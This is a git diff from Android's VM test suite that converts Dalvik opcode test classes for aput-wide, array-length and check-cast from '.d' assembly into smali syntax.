diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_6.d
deleted file mode 100644
index e5f58d2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_wide_6.java
-.class public dot.junit.opcodes.aput_wide.d.T_aput_wide_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([DIJ)V
-.limit regs 14
-
-       aput-wide v12, v10, v11
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_6.smali
new file mode 100644
index 0000000..b6b7d24
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_wide_6.java"
+.class  public Ldot/junit/opcodes/aput_wide/d/T_aput_wide_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DIJ)V
+.registers 14
+
+       aput-wide v12, v10, v11
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_7.d
deleted file mode 100644
index c862b0d5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_wide_7.java
-.class public dot.junit.opcodes.aput_wide.d.T_aput_wide_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([IIJ)V
-.limit regs 14
-
-       aput-wide v12, v10, v11
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_7.smali
new file mode 100644
index 0000000..9611ead
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_wide_7.java"
+.class  public Ldot/junit/opcodes/aput_wide/d/T_aput_wide_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([IIJ)V
+.registers 14
+
+       aput-wide v12, v10, v11
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_8.d
deleted file mode 100644
index 06e1aa0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_8.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_wide_8.java
-.class public dot.junit.opcodes.aput_wide.d.T_aput_wide_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JIJ)V
-.limit regs 14
-
-       aput-wide v12, v10, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_8.smali
new file mode 100644
index 0000000..89ea753
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_8.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_wide_8.java"
+.class  public Ldot/junit/opcodes/aput_wide/d/T_aput_wide_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JIJ)V
+.registers 14
+
+       aput-wide v12, v10, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_9.d
deleted file mode 100644
index 41777df..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_9.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_wide_9.java
-.class public dot.junit.opcodes.aput_wide.d.T_aput_wide_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JFJ)V
-.limit regs 14
-
-       aput-wide v12, v10, v11
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_9.smali
new file mode 100644
index 0000000..f3fb21f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_9.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_wide_9.java"
+.class  public Ldot/junit/opcodes/aput_wide/d/T_aput_wide_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JFJ)V
+.registers 14
+
+       aput-wide v12, v10, v11
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_1.d
deleted file mode 100644
index 3981009..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_array_length_1.java
-.class public dot.junit.opcodes.array_length.d.T_array_length_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/Object;)I
-.limit regs 5
-
-       array-length v0, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_1.smali
new file mode 100644
index 0000000..5b6b73c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_array_length_1.java"
+.class  public Ldot/junit/opcodes/array_length/d/T_array_length_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/Object;)I
+.registers 5
+
+       array-length v0, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_2.d
deleted file mode 100644
index b1b015c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_2.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_array_length_2.java
-.class public dot.junit.opcodes.array_length.d.T_array_length_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;)I
-.limit regs 5
-
-       array-length v0, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_2.smali
new file mode 100644
index 0000000..a3c5f25
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_2.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_array_length_2.java"
+.class  public Ldot/junit/opcodes/array_length/d/T_array_length_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)I
+.registers 5
+
+       array-length v0, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_3.d
deleted file mode 100644
index 01bdaf0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_array_length_3.java
-.class public dot.junit.opcodes.array_length.d.T_array_length_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;)I
-.limit regs 5
-    
-       const v4, 1234
-       array-length v0, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_3.smali
new file mode 100644
index 0000000..16139e2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_array_length_3.java"
+.class  public Ldot/junit/opcodes/array_length/d/T_array_length_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)I
+.registers 5
+    
+       const v4, 1234
+       array-length v0, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_4.d
deleted file mode 100644
index af48dfb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_4.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_array_length_4.java
-.class public dot.junit.opcodes.array_length.d.T_array_length_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([D)I
-.limit regs 5
-
-       array-length v0, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_4.smali
new file mode 100644
index 0000000..a2ef49c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_4.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_array_length_4.java"
+.class  public Ldot/junit/opcodes/array_length/d/T_array_length_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([D)I
+.registers 5
+
+       array-length v0, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_5.d
deleted file mode 100644
index c7b1f9e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_array_length_5.java
-.class public dot.junit.opcodes.array_length.d.T_array_length_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/Object;)V
-.limit regs 5
-
-       array-length v5, v4
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_5.smali
new file mode 100644
index 0000000..db1ddeb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_array_length_5.java"
+.class  public Ldot/junit/opcodes/array_length/d/T_array_length_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/Object;)V
+.registers 5
+
+       array-length v5, v4
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_1.d
deleted file mode 100644
index 9c2f074..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_check_cast_1.java
-.class public dot.junit.opcodes.check_cast.d.T_check_cast_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;)Ljava/lang/String;
-.limit regs 5
-
-       check-cast v4, java/lang/String
-       return-object v4
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_1.smali
new file mode 100644
index 0000000..0804480
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_check_cast_1.java"
+.class  public Ldot/junit/opcodes/check_cast/d/T_check_cast_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)Ljava/lang/String;
+.registers 5
+
+       check-cast v4, Ljava/lang/String;
+       return-object v4
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.d
deleted file mode 100644
index b7472cc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.d
+++ /dev/null
@@ -1,149 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TestStubs.java
-.interface public dot.junit.opcodes.check_cast.d.T_check_cast_2.SuperInterface
-
-.source TestStubs.java    
-.interface public dot.junit.opcodes.check_cast.d.T_check_cast_2.SuperInterface2
-
-.source TestStubs.java
-.class public dot.junit.opcodes.check_cast.d.T_check_cast_2.SuperClass 
-.super java/lang/Object
-.implements dot/junit/opcodes/check_cast/d/T_check_cast_2/SuperInterface
-    
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method    
-
-.source TestStubs.java
-.class public dot.junit.opcodes.check_cast.d.T_check_cast_2.SubClass 
-.super dot/junit/opcodes/check_cast/d/T_check_cast_2/SuperClass
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/check_cast/d/T_check_cast_2/SuperClass/<init>()V
-       return-void
-.end method
-
-
-.source T_check_cast_2.java
-.class public dot.junit.opcodes.check_cast.d.T_check_cast_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 20
-
-    const v1, 0
-    
-; (SubClass instanceof SuperClass)    
-    new-instance v10, dot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass
-    invoke-direct {v10}, dot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass/<init>()V
-    check-cast v10, dot/junit/opcodes/check_cast/d/T_check_cast_2/SuperClass
-    
-; (SubClass[] instanceof SuperClass[])    
-    const v11, 1
-    new-array v10, v11, [Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;
-    check-cast v10, [Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SuperClass;
-
-    
-; (SubClass[] instanceof Object)    
-    new-array v10, v11, [Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;
-    check-cast v10, java/lang/Object
-    
-; (SubClass instanceof SuperInterface)    
-    new-instance v10, dot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass
-    invoke-direct {v10}, dot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass/<init>()V    
-    check-cast v10, dot/junit/opcodes/check_cast/d/T_check_cast_2/SuperInterface
-        
-
-; !(SuperClass instanceof SubClass)    
-Label1:
-    new-instance v10, dot/junit/opcodes/check_cast/d/T_check_cast_2/SuperClass
-    invoke-direct {v10}, dot/junit/opcodes/check_cast/d/T_check_cast_2/SuperClass/<init>()V
-Label10:    
-    check-cast v10, dot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass
-Label11:    
-    goto Label2
-Label12:
-    add-int/lit16 v1, v1, 1
-    goto Label2
-        
-; !(SubClass instanceof SuperInterface2)    
-Label2:
-    new-instance v10, dot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass
-    invoke-direct {v10}, dot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass/<init>()V    
-Label20:    
-    check-cast v10, dot/junit/opcodes/check_cast/d/T_check_cast_2/SuperInterface2
-Label21:    
-    goto Label3
-Label22:
-    add-int/lit16 v1, v1, 1
-    goto Label3
-
-; !(SubClass[] instanceof SuperInterface)    
-Label3:
-    new-array v10, v11, [Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;
-Label30:    
-    check-cast v10, dot/junit/opcodes/check_cast/d/T_check_cast_2/SuperInterface
-Label31:    
-    goto Label4
-Label32:    
-    add-int/lit16 v1, v1, 1
-    goto Label4
-
-; !(SubClass[] instanceof SubClass)    
-Label4:
-    new-array v10, v11, [Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;
-Label40:    
-    check-cast v10, dot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass
-Label41:    
-    goto Label5
-Label42:
-    add-int/lit16 v1, v1, 1
-    goto Label5    
-    
-; !(SuperClass[] instanceof SubClass[])    
-Label5:
-    new-array v10, v11, [Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SuperClass;
-Label50:    
-    check-cast v10, [Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;
-Label51:    
-    goto Label6
-Label52:
-    add-int/lit16 v1, v1, 1
-    
-Label6:        
-    return v1
-    
-.catch java/lang/ClassCastException from Label10 to Label11 using Label12
-.catch java/lang/ClassCastException from Label20 to Label21 using Label22
-.catch java/lang/ClassCastException from Label30 to Label31 using Label32
-.catch java/lang/ClassCastException from Label40 to Label41 using Label42
-.catch java/lang/ClassCastException from Label50 to Label51 using Label52
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.smalis/SubClass.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.smalis/SubClass.smali
new file mode 100644
index 0000000..2919830
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.smalis/SubClass.smali
